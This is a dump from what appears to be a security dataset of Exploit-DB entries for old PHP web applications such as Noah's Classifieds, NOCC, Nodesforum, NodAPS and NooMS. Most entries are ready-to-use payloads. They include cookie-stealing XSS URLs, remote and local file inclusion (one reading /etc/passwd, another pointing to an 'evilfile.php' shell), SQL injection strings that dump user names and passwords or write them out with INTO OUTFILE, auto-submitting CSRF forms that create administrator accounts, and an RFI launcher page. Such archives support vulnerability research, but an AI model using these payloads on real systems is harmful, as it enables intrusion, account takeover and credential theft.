deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27259
Description: Noah's Classifieds 1.0/1.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-22
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/16772/info

Noah's Classifieds is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/classifieds/index.php?inf=%3Cscript%3Ealert(document.cookie)%3C/script%3Ehttp://www.example.com/classifieds/index.php?inf=%3Cscript%3Ealert(document.cookie)%3C/script%3E


http://www.example.com/classifieds/index.php?upperTemplate=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #27262
Description: Noah's Classifieds 1.0/1.3 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-22
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/16780/info

Noah's Classifieds is prone to a remote file-include vulnerability. 

An attacker can exploit this issue to execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

Version 1.3.0 is vulnerable; other versions may also be affected.

http://www.example.com/classifieds/index.php?lowerTemplate=http://www.example.com/evilfile.php
Exploit-DB #27261
Description: Noah's Classifieds 1.0/1.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2006-02-22
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/16778/info

Noah's Classifieds is prone to a local file-include vulnerability. This may facilitate the unauthorized viewing of files and unauthorized execution of local scripts. 

Version 1.3.0 is vulnerable; other versions may be affected as well.

http://www.example.com/classifieds/index.php?otherTemplate=/../../../etc/passwd%00http://www.example.com/classifieds/index.php?otherTemplate=/../../../etc/passwd%00
Exploit-DB #27260
Description: Noah's Classifieds 1.0/1.3 - Search Page SQL Injection
Type: webapps
Platform: php
Date: 2006-02-22
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/16773/info

Noah's Classifieds is prone to an SQL-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Note that to carry out an attack, the attacker must be a MySQL user with file permissions.

Attacker uses a 'POST' request on the affected search page and supplies the following to the search field: 

kapda%')))/**/UNION/**/SELECT/**/1,1,1,name,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,password/**/INTO/**/OUTFILE/**/'/installation_path/lang/result.text'/**/FROM/**/classifieds_classifiedsuser#
Exploit-DB #26259
Description: Noah's Classifieds 1.2/1.3 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-14
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/14833/info

Noah's Classifieds is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/classifieds/index.php?methode=showdetails&list=Advertisment&rollid=4'
Exploit-DB #26261
Description: Noah's Classifieds 1.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-14
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/14835/info

Noah's Classifieds is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 


http://www.example.com/classifieds/index.php?methode=showdetails&list=Advertisment&rollid=4'<script>alert(document.cookie)</script>
Exploit-DB #21449
Description: NOCC 0.9.x - Webmail Script Injection
Type: webapps
Platform: php
Date: 2002-05-14
Author: ppp-design

Exploit:
source: https://www.securityfocus.com/bid/4740/info

NOCC is a web based email client implemented in PHP4. It includes support for POP3, SMTP and IMAP servers, MIME attachments and multiple languages.

A script injection issue has been reported with the way emails are displayed to users of NOCC webmail. A malicious attacker can include script code in an email and potentially get full access to a victim's mailbox. 

<script>alert(document.cookie)</script>

This will show the victim's session id.
Exploit-DB #27299
Description: NOCC 1.0 - 'error.php?html_error_occurred' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-23
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/16793/info

NOCC Webmail is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to inject arbitrary PHP code and execute it in the context of the vulnerable webserver. An attacker can also exploit these issues to execute arbitrary HTML or script code in the browser of a victim user in the context of the webserver process. This may facilitate the theft of cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/[path]/html/error.php?html_error_occurred=<script>alert(document.cookie)</script>
Exploit-DB #27300
Description: NOCC 1.0 - 'filter_prefs.php?html_filter_select' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-23
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/16793/info
 
NOCC Webmail is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to inject arbitrary PHP code and execute it in the context of the vulnerable webserver. An attacker can also exploit these issues to execute arbitrary HTML or script code in the browser of a victim user in the context of the webserver process. This may facilitate the theft of cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/[path]/html/filter_prefs.php?html_filter_select=<script>alert(document.cookie)</script>
Exploit-DB #27302
Description: NOCC 1.0 - 'html_bottom_table.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-23
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/16793/info
   
NOCC Webmail is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker can exploit these issues to inject arbitrary PHP code and execute it in the context of the vulnerable webserver. An attacker can also exploit these issues to execute arbitrary HTML or script code in the browser of a victim user in the context of the webserver process. This may facilitate the theft of cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/[path]/html/html_bottom_table.php?page_line=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/html_bottom_table.php?prev=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/html_bottom_table.php?next=<script>alert(document.cookie)</script>
Exploit-DB #27301
Description: NOCC 1.0 - 'no_mail.php?html_no_mail' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-23
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/16793/info
  
NOCC Webmail is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit these issues to inject arbitrary PHP code and execute it in the context of the vulnerable webserver. An attacker can also exploit these issues to execute arbitrary HTML or script code in the browser of a victim user in the context of the webserver process. This may facilitate the theft of cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/[path]/html/no_mail.php?html_no_mail=<script>alert(document.cookie)</script>
Exploit-DB #44636
Description: NodAPS 4.0 - SQL injection / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-17
Author: L0RD

Exploit:
# Exploit Title:  Online Booking system - NodAPS 4.0 - 'search' SQL injection / Cross-Site Request Forgery
# Date: 2018-05-16
# Exploit Author: Borna nematzadeh (L0RD)
# Vendor Homepage: https://codecanyon.net/item/appointment-management-system-nodaps/16197805?s_rank=1535
# Version: 4.0
# Tested on: windows
================================================
# POC 1 : SQLi


# test : test.com/en/providers?search='
# Description: Put ' in the search parameter and you will have SQL syntax error.
You can use "extractvalue()" or "updatexml()" functions to get data from database.

================================================
# POC 2 : CSRF

# Description: An issue was discovered in Online Booking system - NodAPS 4.0 script.
With Cross-site request forgery (CSRF) vulnerability , attacker can hijack the authentication of users remotely.

================================================

# Exploit :

<html>
 <head>
     <title>CSRF POC</title>
 </head>
    <body>
    <form action="http://test.com/admin/accountSetting" method="POST">
      <input type="hidden" name="data&#91;username&#93;" value="testcsrf />
      <input type="hidden" name="data&#91;email&#93;" value="lord&#46;nematzadeh123&#64;gmail&#46;com" />
      <input type="hidden" name="data&#91;firstname&#93;" value="test2" />
      <input type="hidden" name="data&#91;lastname&#93;" value="test3" />
      <input type="hidden" name="data&#91;mobile&#93;" value="[PII_REDACTED]" />
      <input type="hidden" name="data&#91;website&#93;" value="" />
      <input type="hidden" name="data&#91;password&#93;" value="[PII_REDACTED]&#45;" />
      <input type="hidden" name="data&#91;language&#95;id&#93;" value="1" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
  </body>
</html>
Exploit-DB #40707
Description: nodCMS - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-11-03
Author: Amir.ght

Exploit:
# Exploit Title :              nodcms Cross Site Request Forgery
# Author :                     Ashiyane Digital Security Team
# Google Dork :                 -
# Date :                       29/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :  http://www.nodcms.com/en
 Software link :
  https://github.com/khodakhah/nodcms/archive/master.zip



########################### CSRF PoC ###############################
# create User: username=Attacker & [CREDENTIAL_REDACTED]

<html>
  <!-- CSRF PoC  -->
  <body>
    <form name="form0" action="http://SiteName/admin/user_manipulate" method="POST">
      <input type="hidden" name="data[username]" value="Attacker" />
      <input type="hidden" name="data[email]" value="Attacker@attacker.com" />
      <input type="hidden" name="data[fullname]" value="Atacker" />
      <input type="hidden" name="data[password]" value="123456" />
      <input type="hidden" name="data[status]" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
####################################################################
 # CSRF/Xss
<html>
  <!-- CSRF PoC  -->
  <body>
    <form name="form1" action="http://sitename/admin/settings/generall" method="POST">
      <input type="hidden" name="data[language_id]" value="1" />
      <input type="hidden" name="data[company]" value="<script>alert(/xss/)</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
####################################################################
#-# Discovered by : Amir.ght
Exploit-DB #35882
Description: Nodesforum - '_nodesforum_node' SQL Injection
Type: webapps
Platform: php
Date: 2011-06-23
Author: Andrea Bocchetti

Exploit:
source: https://www.securityfocus.com/bid/48451/info

Nodesforum is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/?_nodesforum_node=u1'
Exploit-DB #12047
Description: nodesforum 1.033 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-04-04
Author: ITSecTeam

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>coded by ahmadbady</title>

<script language="JavaScript">

//===========================================================================
//( #Topic    : nodesforum_1.033
//( #Bug type : multi remote file include
//( #Advisory : 
//===========================================================================
//( #Author : ItSecTeam
//( #Email  : Bug@ITSecTeam.com
//( #Website: http://www.itsecteam.com
//( #Forum  : http://forum.ITSecTeam.com
//vuls---------------------------------------------------------------------
//erase_user_data.php line 6;
//pre_output.php line 16 ;
//--------------------------------------------------------------------------

var variable1 ="?_nodesforum_path_from_here_to_nodesforum_folder="
var variable2 ="?_nodesforum_code_path="
  
 function it(){
  if (xpl.file.value=="pre_output.php"){
          variable1 = variable2;
         
                              }
                xpl.action= xpl.victim.value+xpl.path.value+xpl.file.value+variable1+xpl.shell.value;xpl.submit();                                        
            }
</script>

</head>

<body bgcolor="#FFFFFF">

<p align="left"><font color="#FF0000">vul1 file:/path/erase_user_data.php</font></p>
<p align="left"><font color="#FF0000">vul2 file:/path/pre_output.php</font></p>
<p align="left"><font color="#0000FF">-----------------------------------</font></p>
<form method="post" name="xpl" onSubmit="it();">
    <p align="left">
    <font 
size="2" face="Tahoma">
  	victim:
  	<input type="text" name="victim" size="20";" style="color: #FFFFFF; background-color: #000000"> 
	path:
	<input type="text" name="path" size="20";" style="color: #FFFFFF; background-color: #000000"> 
	file:
	<input type="text" name="file" size="20";" style="color: #FFFFFF; background-color: #000000"> 
	shell address:
	<input type="text" name="shell" size="20";" style="color: #FFFFFF; background-color: #000000"></p>
  	</p>
<center>

</p>
  <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" 
value="reset" name="B2" style="float: left"></p>
</form>
<p><br>
 </p>
</center>
</body>

</html>
Exploit-DB #17446
Description: nodesforum 1.059 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-06-23
Author: bd0rk

Exploit:
# Exploit Title: nodesforum 1.059 Remote File Inclusion Vulnerability
# Google Dork: inurl: powered by Nodesforum
# Date: 6/23/2011
# Author: bd0rk ( bd0rk[at]hackermail.com )
# Software-Download: http://home.nodesforum.com/download?file=nodesforum_1.059_with_bbcode_1.004.zip
# Tested on: Ubuntu-Linux / WinVista
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerable Code in 3rd_party_limits.php line 6 - 8

--------------------------------------------------------------------------------------------------------------

$limits_cache_url=$_nodesforum_code_path.'cache/'.$_nodesforum_db_table_name_modifier.'_3rd_party_limits.php';
if(@filemtime($limits_cache_url) && @filemtime($limits_cache_url)>(time()-(24*3600*14)))
{include($limits_cache_url);}

--------------------------------------------------------------------------------------------------------------

The parameter $limits_cache_url is declared with the other parameter $_nodesforum_code_path
So we can use the declared.




PoC: http://[target_host]/nodesforum/3rd_party_limits.php?_nodesforum_code_path=[RemoteShellCode]


Fixtip: Declare $_nodesforum_code_path, likewise!


Greetings: Kathrin J., Perle, x0r_32 and ZUBAIR ANJUM ;-)



#### The 22 years old, german Hacker bd0rk #### <---white-hat
Exploit-DB #33919
Description: NolaPro Enterprise 4.0.5538 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2010-05-01
Author: ekse

Exploit:
source: https://www.securityfocus.com/bid/39875/info

NolaPro Enterprise is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

NolaPro Enterprise 4.0.5538 is vulnerable; other versions may also be affected. 

http/www.example.com/sidemenu.php?index=1&menutitle=%3Cscript%3Ealert%28String.fromCharCode%2888,83,83,32,102,111,117,110,100,32,98,121,32,67,111,114,101,108,97,11
0,32,84,101,97,109%29%29;%3C/script%3E&menutitleorig=STR_ORDERS

http://www.example.om/nporderitemremote.php?pos_mode=1&currency=USD&curdate=2010-04-12&linenum=%3Cscript%3Ealert%28String.fromCharCode%2888,83,83,32,102,111,117,110
,100,32,98,121,32,67,111,114,101,108,97,110,32,84,101,97,109%29%29;%3C/script%3E&inventorylocationid=1&customerid=&shiptoid=0

1 or BENCHMARK(2500000,MD5(1))
Exploit-DB #45820
Description: Nominas 0.27 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-12
Author: Ihsan Sencan

Exploit:
# Exploit Title: Nominas 0.27 - 'username' SQL Injection
# Dork: N/A
# Date: 2018-11-09
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://arixolab.com/proyecto.html
# Software Link: https://netix.dl.sourceforge.net/project/nominascrm/Nominas%20v0.27.tar.gz
# Version: 0.27
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/login/checklogin.php
# 
POST /[PATH]/login/checklogin.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/login/login.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 160
username=%27+UNION+ALL+SELECT+0x31%2C0x32%2C0x33%2CCONCAT_WS%280x203a20%2CUSER%28%29%2CDATABASE%28%29%2CVERSION%28%29%29--+Ver+Ayari&[CREDENTIAL_REDACTED]=Entrar
HTTP/1.1 302 Found
Date: Fri, 09 Nov 2018 23:08:26 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=agq97ac0093v2f94voc6qfr7j3; path=/
Set-Cookie: PHPSESSID=mqvaree7bi45p9q60fh2g5vhg1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ../index.php
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #6644
Description: Noname CMS 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-10-01
Author: ~!Dok_tOR!~

Exploit:
Author: ~!Dok_tOR!~
Date found: 30.09.08
Product: NonameCMS
Version: 1.0
URL: noname-cms.org
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit 1:

http://localhost/[installdir]/index.php?action=detailansicht&file_id=-1'+union+select+1,2,3,4,5,6,concat_ws(0x3a,benutzername,passwort,email),8+from+nns_user/*

Exploit 2:

http://localhost/[installdir]/index.php?action=kategorien&kategorie=-1'+union+select+1,2,user(),concat_ws(0x3a,benutzername,passwort,email),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+nns_user/*

# milw0rm.com [2008-10-01]
Exploit-DB #32361
Description: Nooms 1.1 - 'search.php?q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-11
Author: Dr.Crash

Exploit:
source: https://www.securityfocus.com/bid/31131/info
 
NooMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
NooMS 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?q="<script>alert('xss')</script>
Exploit-DB #32360
Description: Nooms 1.1 - 'smileys.php?page_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-11
Author: Dr.Crash

Exploit:
source: https://www.securityfocus.com/bid/31131/info

NooMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

NooMS 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/smileys.php?page_id=<script>alert('xss')</script>
Exploit-DB #17137
Description: Nooms CMS 1.1.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-04-09
Author: loneferret

Exploit:
# NooMS CMS version 1.1.1 CSRF
# Bug Found: April 9th 2011
# Found by: loneferret (as far as I know anyway)
# Software Download Link:
http://phpkode.com/download/p/2381_nooms_1.1.1.tar.bz2
# Nods to exploit-db Team


# Well, I didn't have much to do this morning so figured I'd try to see how
# fast it would take
# me to find one of these. It's nothing to write home about. I mean...come
# on! Who would use
# a CMS named NooMS? This thing uses a MySQL database as well, wouldn't be
# surprised if
# there are other things to be found.
# But I need to get some chores done before the wife starts.

#
# Enjoy,
# loneferret
#
# p.s:
# I wanted to contact the creator, but he's page (using NooMS) is
# blank... nothing there so.. sorry.

---HTML STARTS HERE---

<form action='http://[host]/admin.php' method='post'>
  <input type=hidden name='op' value='pref'>
  <input type=hidden name='action' value='edit'>

  Admin Username: <input type=text size=20 name='admin_user' value=''><br>
  Admin Password: <input type=text size=20 name='admin_pwd' value=''><br>
  Site Name: <input type=text size=40 name='site_name' value=''><br>
  Site URL: <input type=text size=40 name='site_url' value=''><br>
  Number of results per page: <input type=text size=10 name='search_numr' value=''><br>
  Lang: <input type=text size=10 name='lang' value='en'><br>
  Theme: <input type=text name=template value='default'>
  <input type=submit value='change'>
</form>